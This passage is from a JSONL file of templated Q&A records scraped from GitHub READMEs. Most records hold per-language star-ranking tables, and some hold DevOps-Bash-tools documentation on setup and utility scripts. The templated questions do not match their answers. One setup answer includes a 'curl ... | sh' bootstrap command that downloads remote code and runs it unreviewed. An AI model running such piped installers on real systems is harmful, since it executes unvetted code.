0 | None | 2025-10-27T21:18:55Z |\n| 7 | [Complete-Python-3-Bootcamp](https://github.com/Pierian-Data/Complete-Python-3-Bootcamp) | 29307 | 87462 | Jupyter Notebook | 150 | Course Files for Complete Python 3 Bootcamp Course on Udemy | 2025-06-24T04:54:16Z |\n| 8 | [gitignore](https://github.com/github/gitignore) | 171856 | 82914 | None | 0 | A collection of useful .gitignore templates | 2026-01-13T21:40:40Z |\n| 9 | [coding-interview-university](https://github.com/jwasham/coding-interview-university) | 335884 | 81571 | None | 70 | A complete computer science study plan to become a software engineer. | 2025-08-28T14:42:47Z |\n| 10 | [bootstrap](https://github.com/twbs/bootstrap) | 173924 | 79170 | MDX | 389 | The most popular HTML, CSS, and JavaScript framework for developing responsive, mobile first projects on the web. | 2026-01-15T21:23:00Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914836"}
{"id": "gh_f5563f168efe", "question": "How to: ActionScript", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in ActionScript](Top100/ActionScript.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [VVVVVV](https://github.com/TerryCavanagh/VVVVVV) | 7906 | 596 | ActionScript | 30 | The source code to VVVVVV! http://thelettervsixtim.es/ | 2025-11-21T19:16:49Z |\n| 2 | [open-source-flash](https://github.com/open-source-flash/open-source-flash) | 7319 | 112 | ActionScript | 25 | Petition to open source Flash and Shockwave spec | 2021-02-24T08:44:01Z |\n| 3 | [Starling-Framework](https://github.com/Gamua/Starling-Framework) | 3009 | 819 | ActionScript | 76 | The Cross Platform Game Engine | 2026-01-05T13:35:04Z |\n| 4 | [webcamjs](https://github.com/jhuckaby/webcamjs) | 2509 | 1111 | ActionScript | 154 | HTML5 Webcam Image Capture Library with Flash Fallback | 2020-04-22T07:50:12Z |\n| 5 | [as3corelib](https://github.com/mikechambers/as3corelib) | 1502 | 447 | ActionScript | 106 |  An ActionScript 3 Library that contains a number of classes and utilities for working with ActionScript? 3. These include classes for MD5 and SHA 1 hashing, Image encoders, and JSON serialization as well as general String, Number and Date APIs. | 2024-08-18T20:22:14Z |\n| 6 | [mapgen2](https://github.com/amitp/mapgen2) | 1360 | 213 | ActionScript | 1 | Map generator for games written in Flash. *There's an HTML5 version* on github/redblobgames/mapgen2 . Generates island maps with a focus on mountains, rivers, coastlines. | 2025-05-07T23:38:10Z |\n| 7 | [scratch-flash](https://github.com/scratchfoundation/scratch-flash) | 1353 | 516 | ActionScript | 0 | Open source version of the Scratch 2.0 project editor.  This is the basis for the online and offline versions of Scratch found on the website. | 2019-02-05T18:30:34Z |\n| 8 | [flixel](https://github.com/AdamAtomic/flixel) | 1138 | 195 | ActionScript | 68 | flixel is a free Actionscript (Flash) library that I distilled from a variety of Flash games that I've worked on over the last couple years, including Gravity Hook, Fathom and Canabalt.  It's primary function is to provide some useful base classes that you can extend to make your own game objects. | 2015-11-05T01:35:36Z |\n| 9 | [as3-signals](https://github.com/robertpenner/as3-signals) | 1062 | 200 | ActionScript | 4 | Signals is a new approach for AS3 events, inspired by C# events and signals/slots in Qt.  | 2025-05-19T18:05:34Z |\n| 10 | [bfxr](https://github.com/increpare/bfxr) | 1022 | 91 | ActionScript | 10 | Flash + AIR sound effects generator.   Based on Sfxr. | 2025-04-17T12:18:05Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914849"}
{"id": "gh_e49f37fd4309", "question": "How to: CoffeeScript", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in CoffeeScript](Top100/CoffeeScript.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [SwitchyOmega](https://github.com/FelisCatus/SwitchyOmega) | 22481 | 3553 | CoffeeScript | 796 | No longer maintained, see pinned issues | 2024-12-27T12:00:30Z |\n| 2 | [mojs](https://github.com/mojs/mojs) | 18665 | 889 | CoffeeScript | 38 | The motion graphics toolbelt for the web | 2025-02-05T15:27:53Z |\n| 3 | [coffeescript](https://github.com/jashkenas/coffeescript) | 16595 | 1984 | CoffeeScript | 74 | Unfancy JavaScript | 2024-03-22T14:04:00Z |\n| 4 | [zxcvbn](https://github.com/dropbox/zxcvbn) | 15801 | 1004 | CoffeeScript | 111 | Low-Budget Password Strength Estimation | 2024-08-19T09:54:34Z |\n| 5 | [dynamics.js](https://github.com/michaelvillar/dynamics.js) | 7570 | 413 | CoffeeScript | 8 | Javascript library to create physics-based animations | 2019-02-26T06:19:21Z |\n| 6 | [morris.js](https://github.com/morrisjs/morris.js) | 6893 | 1206 | CoffeeScript | 285 | Pretty time-series line graphs | 2021-10-07T12:56:12Z |\n| 7 | [At.js](https://github.com/ichord/At.js) | 5266 | 661 | CoffeeScript | 150 | Add Github like mentions autocomplete to your application. | 2021-11-18T12:53:24Z |\n| 8 | [node-xml2js](https://github.com/Leonidas-from-XIV/node-xml2js) | 4971 | 610 | CoffeeScript | 204 | XML to JavaScript object converter. | 2023-07-30T10:41:35Z |\n| 9 | [aglio](https://github.com/danielgtaylor/aglio) | 4755 | 478 | CoffeeScript | 123 | An API Blueprint renderer with theme support that outputs static HTML | 2019-05-13T14:40:13Z |\n| 10 | [vibrant.js](https://github.com/jariz/vibrant.js) | 4612 | 231 | CoffeeScript | 0 | Extract prominent colors from an image. JS port of Android's Palette. | 2017-11-28T15:50:23Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914871"}
{"id": "gh_58d849641e65", "question": "How to: JavaScript", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in JavaScript](Top100/JavaScript.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [react](https://github.com/facebook/react) | 242317 | 50413 | JavaScript | 836 | The library for web and native user interfaces. | 2026-01-16T21:39:25Z |\n| 2 | [javascript-algorithms](https://github.com/trekhleb/javascript-algorithms) | 195368 | 31121 | JavaScript | 138 | 📝 Algorithms and data structures implemented in JavaScript with explanations and links to further readings | 2026-01-02T16:23:33Z |\n| 3 | [javascript](https://github.com/airbnb/javascript) | 148032 | 26773 | JavaScript | 100 | JavaScript Style Guide | 2025-11-06T00:54:14Z |\n| 4 | [next.js](https://github.com/vercel/next.js) | 137167 | 30289 | JavaScript | 2037 | The React Framework | 2026-01-17T03:08:32Z |\n| 5 | [30-seconds-of-code](https://github.com/Chalarangelo/30-seconds-of-code) | 126344 | 12404 | JavaScript | 0 | Coding articles to level up your development skills | 2026-01-15T21:23:30Z |\n| 6 | [node](https://github.com/nodejs/node) | 115236 | 34396 | JavaScript | 1739 | Node.js JavaScript runtime ✨🐢🚀✨ | 2026-01-17T01:12:46Z |\n| 7 | [three.js](https://github.com/mrdoob/three.js) | 110377 | 36233 | JavaScript | 446 | JavaScript 3D Library. | 2026-01-16T16:26:47Z |\n| 8 | [axios](https://github.com/axios/axios) | 108492 | 11492 | JavaScript | 192 | Promise based HTTP client for the browser and node.js | 2026-01-17T01:30:50Z |\n| 9 | [create-react-app](https://github.com/facebook/create-react-app) | 103966 | 27151 | JavaScript | 1843 | Set up a modern web app by running one command. | 2025-02-15T01:32:11Z |\n| 10 | [awesome-mac](https://github.com/jaywcjlove/awesome-mac) | 97717 | 7320 | JavaScript | 130 |  Now we have become very big, Different from the original idea. Collect premium software in various categories. | 2026-01-16T19:50:09Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914919"}
{"id": "gh_e851cdbb8497", "question": "How to: Objective\\-C", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in Objective\\-C](Top100/Objective-C.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [AFNetworking](https://github.com/AFNetworking/AFNetworking) | 33732 | 10498 | Objective-C | 0 | A delightful networking framework for iOS, macOS, watchOS, and tvOS. | 2023-01-17T19:30:05Z |\n| 2 | [SDWebImage](https://github.com/SDWebImage/SDWebImage) | 25894 | 5997 | Objective-C | 119 | Asynchronous image downloader with cache support as a UIImageView category | 2025-12-03T03:34:54Z |\n| 3 | [WeChatExtension-ForMac](https://github.com/MustangYM/WeChatExtension-ForMac) | 22694 | 3592 | Objective-C | 907 | A plugin for Mac WeChat | 2025-02-13T21:53:57Z |\n| 4 | [TrollStore](https://github.com/opa334/TrollStore) | 20722 | 1438 | Objective-C | 46 | Jailed iOS app that can install IPAs permanently with arbitary entitlements and root helpers because it trolls Apple | 2024-09-02T11:28:18Z |\n| 5 | [GPUImage](https://github.com/BradLarson/GPUImage) | 20342 | 4591 | Objective-C | 913 | An open source iOS framework for GPU-based image and video processing | 2024-02-16T22:29:30Z |\n| 6 | [Masonry](https://github.com/SnapKit/Masonry) | 18396 | 3154 | Objective-C | 129 | Harness the power of AutoLayout NSLayoutConstraints with a simplified, chainable and expressive syntax. Supports iOS and OSX Auto Layout | 2023-04-13T18:23:56Z |\n| 7 | [iTerm2](https://github.com/gnachman/iTerm2) | 16802 | 1279 | Objective-C | 0 | iTerm2 is a terminal emulator for Mac OS X that does amazing things. | 2026-01-13T08:07:48Z |\n| 8 | [realm-swift](https://github.com/realm/realm-swift) | 16583 | 2210 | Objective-C | 472 | Realm is a mobile database: a replacement for Core Data & SQLite | 2025-11-12T22:48:09Z |\n| 9 | [MBProgressHUD](https://github.com/jdg/MBProgressHUD) | 16002 | 3578 | Objective-C | 82 | MBProgressHUD + Customizations | 2024-08-14T01:48:59Z |\n| 10 | [FLEX](https://github.com/FLEXTool/FLEX) | 14560 | 1779 | Objective-C | 33 | An in-app debugging and exploration tool for iOS | 2025-12-27T04:58:48Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914944"}
{"id": "gh_8e0f6d6e13f7", "question": "How to: PowerShell", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in PowerShell](Top100/PowerShell.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [winutil](https://github.com/ChrisTitusTech/winutil) | 45702 | 2411 | PowerShell | 290 | Chris Titus Tech's Windows Utility - Install Programs, Tweaks, Fixes, and Updates | 2026-01-15T20:49:19Z |\n| 2 | [Win11Debloat](https://github.com/Raphire/Win11Debloat) | 37945 | 1475 | PowerShell | 43 | A simple, lightweight PowerShell script to remove pre-installed apps, disable telemetry, as well as perform various other changes to customize, declutter and improve your Windows experience. Win11Debloat works for both Windows 10 and Windows 11. | 2026-01-04T15:31:46Z |\n| 3 | [cmder](https://github.com/cmderdev/cmder) | 26738 | 2084 | PowerShell | 54 | Lovely console emulator package for Windows | 2026-01-13T13:51:31Z |\n| 4 | [Scoop](https://github.com/ScoopInstaller/Scoop) | 23453 | 1499 | PowerShell | 367 | A command-line installer for Windows. | 2026-01-06T05:31:19Z |\n| 5 | [core](https://github.com/dotnet/core) | 21842 | 4952 | PowerShell | 328 | .NET news, announcements, release notes, and more! | 2026-01-14T21:58:20Z |\n| 6 | [SpotX](https://github.com/SpotX-Official/SpotX) | 19441 | 997 | PowerShell | 3 | SpotX patcher used for patching the desktop version of Spotify | 2026-01-14T00:16:25Z |\n| 7 | [Windows10Debloater](https://github.com/Sycnex/Windows10Debloater) | 18735 | 2083 | PowerShell | 284 | Script to remove Windows 10 bloatware. | 2023-03-10T04:15:01Z |\n| 8 | [tiny11builder](https://github.com/ntdevlabs/tiny11builder) | 17409 | 1353 | PowerShell | 89 | Scripts to build a trimmed-down Windows 11 image. | 2025-09-12T07:23:23Z |\n| 9 | [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) | 12799 | 4731 | PowerShell | 67 | PowerSploit - A PowerShell Post-Exploitation Framework | 2020-08-17T23:19:49Z |\n| 10 | [Office-Tool](https://github.com/YerongAI/Office-Tool) | 12476 | 1002 | PowerShell | 0 | Office Tool Plus localization projects. | 2026-01-03T06:36:44Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.914961"}
{"id": "gh_1171dad0af15", "question": "How to: TypeScript", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in TypeScript](Top100/TypeScript.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [freeCodeCamp](https://github.com/freeCodeCamp/freeCodeCamp) | 435950 | 43098 | TypeScript | 241 | freeCodeCamp.org's open-source codebase and curriculum. Learn math, programming, and computer science for free. | 2026-01-16T22:08:01Z |\n| 2 | [developer-roadmap](https://github.com/kamranahmedse/developer-roadmap) | 347362 | 43630 | TypeScript | 27 | Interactive roadmaps, guides and other educational content to help developers grow in their careers. | 2026-01-16T14:35:10Z |\n| 3 | [vue](https://github.com/vuejs/vue) | 209858 | 33905 | TypeScript | 356 | This is the repo for Vue 2. For Vue 3, go to https://github.com/vuejs/core | 2024-10-10T07:24:15Z |\n| 4 | [vscode](https://github.com/microsoft/vscode) | 180750 | 37421 | TypeScript | 11771 | Visual Studio Code | 2026-01-17T03:35:26Z |\n| 5 | [n8n](https://github.com/n8n-io/n8n) | 169504 | 53683 | TypeScript | 491 | Fair-code workflow automation platform with native AI capabilities. Combine visual building with custom code, self-host or cloud, 400+ integrations. | 2026-01-17T00:15:08Z |\n| 6 | [awesome-chatgpt-prompts](https://github.com/f/awesome-chatgpt-prompts) | 142470 | 18911 | TypeScript | 2 | Share, discover, and collect prompts from the community. Free and open source — self-host for your organization with complete privacy. | 2026-01-17T03:33:41Z |\n| 7 | [tech-interview-handbook](https://github.com/yangshun/tech-interview-handbook) | 136803 | 16373 | TypeScript | 43 | Curated coding interview preparation materials for busy software engineers | 2026-01-16T10:15:02Z |\n| 8 | [excalidraw](https://github.com/excalidraw/excalidraw) | 114577 | 12175 | TypeScript | 2058 | Virtual whiteboard for sketching hand-drawn like diagrams | 2026-01-16T21:44:26Z |\n| 9 | [iptv](https://github.com/iptv-org/iptv) | 109723 | 5367 | TypeScript | 317 | Collection of publicly available IPTV channels from all over the world | 2026-01-17T00:13:05Z |\n| 10 | [TypeScript](https://github.com/microsoft/TypeScript) | 107463 | 13207 | TypeScript | 4962 | TypeScript is a superset of JavaScript that compiles to clean JavaScript output. | 2026-01-16T23:56:34Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.915002"}
{"id": "gh_83b63885da37", "question": "How to: Vim script", "question_body": "About EvanLi/Github-Ranking", "answer": "This is top 10, for more click **[Top 100 Stars in Vim script](Top100/Vim-script.md)**\n\n| Ranking | Project Name | Stars | Forks | Language | Open Issues | Description | Last Commit |\n| ------- | ------------ | ----- | ----- | -------- | ----------- | ----------- | ----------- |\n| 1 | [neovim](https://github.com/neovim/neovim) | 95742 | 6529 | Vim Script | 1687 | Vim-fork focused on extensibility and usability | 2026-01-17T03:36:31Z |\n| 2 | [vim](https://github.com/vim/vim) | 39671 | 5944 | Vim Script | 1559 | The official Vim repository | 2026-01-16T19:00:39Z |\n| 3 | [vim-plug](https://github.com/junegunn/vim-plug) | 35502 | 1956 | Vim Script | 71 | :hibiscus: Minimalist Vim Plugin Manager | 2025-11-06T04:41:49Z |\n| 4 | [vimrc](https://github.com/amix/vimrc) | 31675 | 7307 | Vim Script | 13 | The ultimate Vim configuration (vimrc) | 2024-10-06T08:26:02Z |\n| 5 | [Vundle.vim](https://github.com/VundleVim/Vundle.vim) | 24013 | 2556 | Vim Script | 169 | Vundle, the plug-in manager for Vim | 2024-07-30T05:53:03Z |\n| 6 | [vim-fugitive](https://github.com/tpope/vim-fugitive) | 21585 | 1047 | Vim Script | 79 | fugitive.vim: A Git wrapper so awesome, it should be illegal | 2025-07-15T21:27:36Z |\n| 7 | [SpaceVim](https://github.com/wsdjeg/SpaceVim) | 20322 | 1424 | Vim Script | 5 | A modular configuration of Vim and Neovim | 2025-02-17T14:14:00Z |\n| 8 | [nerdtree](https://github.com/preservim/nerdtree) | 20047 | 1442 | Vim Script | 24 | A tree explorer plugin for vim. | 2025-09-26T16:07:39Z |\n| 9 | [vim-airline](https://github.com/vim-airline/vim-airline) | 17935 | 1106 | Vim Script | 47 | lean & mean status/tabline for vim that's light as air | 2025-12-23T11:51:28Z |\n| 10 | [vim-galore](https://github.com/mhinz/vim-galore) | 17686 | 623 | Vim Script | 4 | :mortar_board: All things Vim! | 2023-12-22T22:15:38Z |", "tags": ["EvanLi"], "source": "github_gists", "category": "EvanLi", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10030, "answer_score": 10, "has_code": false, "url": "https://github.com/EvanLi/Github-Ranking", "collected_at": "2026-01-17T08:20:51.915011"}
{"id": "gh_87a2453d923b", "question": "How to: Quick Setup", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "To bootstrap, install packages and link in to your shell profile to inherit all configs, do:\n\n```bash\ncurl -L https://git.io/bash-bootstrap | sh\n```\n\n- Adds sourcing to `.bashrc`/`.bash_profile` to automatically inherit all `.bash.d/*.sh` environment enhancements for all technologies (see [Inventory](#index) below)\n- Symlinks `.*` config dotfiles to `$HOME` for [git](https://git-scm.com/), [vim](https://www.vim.org/), top, [htop](https://hisham.hm/htop/), [screen](https://www.gnu.org/software/screen/), [tmux](https://github.com/tmux/tmux/wiki), [editorconfig](https://editorconfig.org/), [Ansible](https://www.ansible.com/), [PostgreSQL](https://www.postgresql.org/) `.psqlrc` etc. (only when they don't already exist so there is no conflict with your own configs)\n- Installs OS package dependencies for all scripts (detects the OS and installs the right RPMs, Debs, Apk or Mac HomeBrew packages)\n- Installs Python packages\n- Installs [AWS CLI](https://aws.amazon.com/cli/)\n\nTo only install package dependencies to run scripts, simply `cd` to the git clone directory and run `make`:\n\n```shell\ngit clone https://github.com/HariSekhon/DevOps-Bash-tools bash-tools\ncd bash-tools\nmake\n```\n\n`make install` sets your shell profile to source this repo. See [Individual Setup Parts](#individual-setup-parts) below for more install/uninstall options.", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879773"}
{"id": "gh_738d5642242d", "question": "How to: Dot Configs", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "Top-level dotfiles and `configs/` directory:\n\n- `.*` - dot conf files for lots of common software eg. advanced `.vimrc`, `.gitconfig`, massive `.gitignore`, `.editorconfig`, `.screenrc`, `.tmux.conf` etc.\n  - `.vimrc` - contains many awesome [vim](https://www.vim.org/) tweaks, plus hotkeys for linting lots of different file types in place, including Python, Perl, Bash / Shell, Dockerfiles, JSON, YAML, XML, CSV, INI / Properties files, LDAP LDIF etc without leaving the editor!\n  - `.screenrc` - fancy [screen](https://www.gnu.org/software/screen/) configuration including advanced colour bar, large history, hotkey reloading, auto-blanking etc.\n  - `.tmux.conf` - fancy [tmux](https://github.com/tmux/tmux/wiki) configuration include advanced colour bar and plugins, settings, hotkey reloading etc.\n  - [Git](https://git-scm.com/):\n    - `.gitconfig` - advanced Git configuration\n    - `.gitignore` - extensive Git ignore of trivial files you shouldn't commit\n    - enhanced Git diffs\n    - protections against committing AWS secret keys or merge conflict unresolved files", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879797"}
{"id": "gh_adec27a87bc0", "question": "How to: Bash Environment & Libraries", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "Top-level `.bashrc` and `.bash.d/` directory:\n\n- `.bashrc` - shell tuning and sourcing of `.bash.d/*.sh`\n- `.bash.d/*.sh` - thousands of lines of advanced bashrc code, aliases, functions and environment variables for:\n  - [Linux](https://en.wikipedia.org/wiki/Linux) & [Mac](https://en.wikipedia.org/wiki/MacOS)\n  - SCM - [Git](https://git-scm.com/), [Mercurial](https://www.mercurial-scm.org/), [Svn](https://subversion.apache.org)\n  - [AWS](https://aws.amazon.com/)\n  - [GCP](https://cloud.google.com/)\n  - [Docker](https://www.docker.com/)\n  - [Kubernetes](https://kubernetes.io/)\n  - [Kafka](http://kafka.apache.org/)\n  - [Vagrant](https://www.vagrantup.com/)\n  - automatic GPG and SSH agent handling for handling encrypted private keys without re-entering passwords, and lazy evaluation to only prompt key load the first time SSH is called\n  - and lots more - see [.bash.d/README](https://github.com/HariSekhon/DevOps-Bash-tools/blob/master/.bash.d/README.md) for a more detailed list\n  - run `make bash` to link `.bashrc`/`.bash_profile` and the `.*` dot config files to your `$HOME` directory to auto-inherit everything\n- `lib/*.sh` - Bash utility libraries full of functions for\n  [Docker](https://www.docker.com/),\n  environment,\n  CI detection ([Travis CI](https://travis-ci.org/), [Jenkins](https://jenkins.io/) etc),\n  port and HTTP url availability content checks etc.\n  Sourced from all my other [GitHub repos](https://github.com/harisekhon) to make setting up Dockerized tests easier.", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879807"}
{"id": "gh_0f2647e11666", "question": "How to: Installation Scripts", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "- `install/install_*.sh` - various simple to use installation scripts for common technologies like:\n  - [AWS CLI](https://aws.amazon.com/cli/)\n  - [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest)\n  - [GCloud SDK](https://cloud.google.com/sdk)\n  - [GitHub CLI](https://cli.github.com/)\n  - [Terraform](https://www.terraform.io/)\n  - [Terragrunt](https://terragrunt.gruntwork.io/)\n  - [Direnv](https://direnv.net/)\n  - [Ansible](https://www.ansible.com/)\n  - [K3s](https://k3s.io)\n  - [MiniKube](https://kubernetes.io/docs/setup/learning-environment/minikube/) (Kubernetes)\n  - [MiniShift](https://www.okd.io/minishift/)\n    ([Redhat OpenShift](https://www.openshift.com/) / [OKD](https://www.okd.io/) dev VMs)\n  - [Maven](https://maven.apache.org/)\n  - [Gradle](https://gradle.org/)\n  - [SBT](https://www.scala-sbt.org/)\n  - [EPEL](https://fedoraproject.org/wiki/EPEL)\n  - [RPMforge](http://repoforge.org/)\n  - [Homebrew](https://brew.sh/)\n  - [Travis CI](https://travis-ci.org/)\n  - [Circle CI](https://circleci.com/)\n  - [AppVeyor](https://www.appveyor.com/)\n  - [BuildKite](https://buildkite.com)\n  - [Avro Tools](https://avro.apache.org/)\n  - [Parquet Tools](https://github.com/apache/parquet-mr/tree/master/parquet-tools)\n  - [Prometheus](https://prometheus.io/)\n  - various JDKs and RDBMS JDBC connector jars\n  - and many more...", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": true, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879816"}
{"id": "gh_9a67e88cfa54", "question": "How to: Linux & Mac", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "`bin/` directory:\n\n- `login.sh` - logs to major Cloud platforms if their credentials are found in the environment, CLIs such as AWS, GCP, Azure, GitHub... Docker registries: DockerHub, GHCR, ECR, GCR, GAR, ACR, Gitlab, Quay...\n- `clean_caches.sh` - cleans out OS package and programming language caches - useful to save space or reduce Docker image size\n- `crypto_dice_rolls.sh` - generates 100 random dice rolls to test a new crypto hardware wallet's fidelity (do not use this for your real crypto seed as your machine could be infected with malware which steals your seed phrase)\n- `delete_duplicate_files.sh` - deletes duplicate files with (N) suffixes, commonly caused by web browser downloads,\n  in the given or current directory. Checks they're exact duplicates of a matching basename file without the (N) suffix with\n  the exact same checksum for safety. Prompts to delete per file. To auto-accept deletions, do\n  `yes | delete_duplicate_files.sh`. This is a fast way of cleaning up your `~/Downloads` directory and can be put your\n  user crontab\n- `disk_speed_read_sequential_dd.sh` - runs a sequential read speed test from the given file using dd and bypassing filesystem cache for a more accurate test\n- `disk_speed_read_random_dd.sh` - runs a random I/O read speed test from the given file using dd and bypassing filesystem cache for a more accurate test\n- `disk_speed_write_sequential_dd.sh` - runs a sequential write speed test to a file in the given or current directory using dd and bypassing filesystem cache for a more accurate test\n- `disk_speed_read_sequential_fio.sh` - runs a sequential read speed test in the current or given directory using fio\n- `disk_speed_read_random_fio.sh` - runs a random I/O read test in the current or given directory using fio\n- `disk_speed_write_sequential_fio.sh` - runs a sequential write speed test to the current or given directory using fio\n- `disk_speed_write_random_fio.sh` - runs a sequential write speed test to the current or given directory using fio\n- `download_url_file.sh` - downloads a file from a URL using wget with no clobber and continue support, or curl with atomic replacement to avoid race conditions. Used by `github/github_download_release_file.sh`, `github_download_release_jar.sh`, and `install/download_*_jar.sh`\n- `curl_auth.sh` - shortens `curl` command by auto-loading your OAuth2 / JWT API token or username & password from environment variables or interactive starred password prompt through a ram file descriptor to avoid placing them on the command line (which would expose your credentials in the process list or OS audit log files). Used by many other adjacent API querying scripts\n- `curl_with_cookies.sh` - extracts cookies for a given URL from your `\\$BROWSER`'s cookie jar and passes them to the `curl` command along with the rest of the args (workaround for older curl builds and Homebrew builds that don't have the newer `--cookies-from-browser functionality)\n- `find_duplicate_files*.sh` - finds duplicate files by size and/or checksum in given directory trees. Checksums are only done on files that already have matching byte counts for efficiency\n- `find_broken_links.sh` - find broken links with delays to avoid tripping defenses\n- `find_broken_symlinks.sh` - find broken symlinks pointing to non-existent files/directories\n- `find_lock.sh` - tries to find if a lockfile is used in the given or current working directory by taking snapshots of the file list before and after a prompt in which you should open/close an application\n- `foreach_path_bin.sh` - runs each binary of the given name found in `$PATH` with the args given. Useful to find all the installed versions of a program in different paths eg. `~/bin/` vs `/usr/local/bin/` eg. `foreach_path_bin.sh terraform --version`\n- `http_duplicate_urls.sh` - find duplicate URLs in a given web page\n- `htmldecode.sh` - decodes HTML encoding. Detects available tools such as Perl, Python or xmlstarlet and uses whatever is available\n- `ldapsearch.sh` - shortens `ldapsearch` command by inferring switches from environment variables\n- `ldap_user_recurse.sh` / `ldap_group_recurse.sh` - recurse Active Directory LDAP users upwards to find all parent groups, or groups downwards to find all nested users (useful for debugging LDAP integration and group-based permissions)\n- `linux_distro_versions.sh` - quickly returns the list of major versions for a given Linux distro\n- `diff_line_threshold.sh` - compares two files vs a line count diff threshold to determine if they are radically different. Used to avoid overwriting files which are not mere updates but completely different files\n- `mv.sh` - moves directory trees resumably and removes the source files as they're copied over. Useful to migrate data from one disk to another, optionally with checksums. Uses rsync and shows the overall % of files transferred and the MB/s data transfer rate\n- `organize_downloads.sh` - moves files of well-known extensions in the `$HOME/Downloads` directory older th", "tags": ["HariSekhon"], "source": "github_gists", "category": "HariSekhon", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7966, "answer_score": 10, "has_code": false, "url": "https://github.com/HariSekhon/DevOps-Bash-tools", "collected_at": "2026-01-17T08:20:53.879846"}
{"id": "gh_5e925428bb5c", "question": "How to: Mac & AppleScript", "question_body": "About HariSekhon/DevOps-Bash-tools", "answer": "Mac automation scripts to automate the Mac UI and settings\n\n`bin/` directory:\n\n- `mac_diff_settings.sh` - takes before and after snapshots of UI setting changes and diffs them to make it easy to find `defaults` keys to add to `setup/mac_settings.sh` to save settings\n- `mac_restore_file.sh` - checks all the backup mount points for the latest backup that has a given file and then restores it\n- `mac_backup_du_in_progress.sh` - find large files in the currently in-progress Time Machine backup to find out what is taking so long and racking up so many more GB of changes than you expect. This helps discover large but unnecessary files that you might want to exclude using the adjacent script `mac_backup_exclude_paths.sh`\n- `mac_backup_exclude_paths.sh` - excludes many common large caches, docker and VM paths from macOS Time Machine backups\n- `mac_backup_find_excluded_paths.sh` - does a deep search for macOS Time Machine excluded backup paths on file/folder attributes. See [HariSekhon/Knowledge-Base Mac 